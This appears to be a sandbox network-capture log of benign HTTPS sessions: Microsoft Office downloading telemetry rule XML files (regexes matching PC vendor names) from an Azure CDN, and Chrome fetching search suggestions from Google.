2024-11-13 13:41:13 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49707	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:14 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134114Z-16547b76f7fkj7j4hC1DFW0a9g0000000h8g000000003ky9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49708	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:14 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 42046764-d01e-0028-78a2-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134114Z-r178fb8d765tllwdhC1DFWaz84000000018g0000000034qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49706	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:14 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4486a485-001e-0034-28a3-34dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134114Z-r178fb8d765bflfthC1DFWuy9n0000000170000000006htw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49709	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:14 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:14 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: ad5ef595-c01e-0082-42a3-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134114Z-r178fb8d765mjvjchC1DFWhkyn00000000z00000000092v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49710	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:14 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c99285c5-401e-0047-1d71-358597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134114Z-r178fb8d765dbczshC1DFW33an00000000zg000000007uuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49712	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134115Z-16547b76f7f4k79zhC1DFWu9y00000000h6g00000000ehs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7c20effc-801e-0015-04a3-34f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134115Z-r178fb8d765th6bkhC1DFWr7h000000001900000000022fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49711	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134115Z-16547b76f7frbg6bhC1DFWr5400000000h7g0000000007yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49715	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2e9646c6-a01e-0098-2aa5-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134115Z-r178fb8d765d5f82hC1DFWsrm80000000190000000001xu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49719	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 636fa6f6-501e-0078-3aa7-3406cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-r178fb8d7657mv58hC1DFW03nw000000010g000000005gkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49718	172.217.18.4	443	7752	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:15 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 13:41:16 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Q79WDd8UYSO6RqWOTJYGaA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 13:41:16 UTC	112	IN	Data Raw: 33 31 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 72 69 73 70 79 20 6b 72 65 6d 65 20 64 6f 6e 75 74 73 20 77 6f 72 6c 64 20 6b 69 6e 64 6e 65 73 73 20 64 61 79 22 2c 22 64 6f 6c 6c 61 72 20 67 65 6e 65 72 61 6c 20 70 65 6e 6e 79 20 6c 69 73 74 22 2c 22 75 74 61 68 20 62 72 61 6e 64 6f 6e 20 72 6f 73 65 20 69 6e 6a 75 72 79 22 2c 22 Data Ascii: 318)]}'["",["krispy kreme donuts world kindness day","dollar general penny list","utah brandon rose injury","
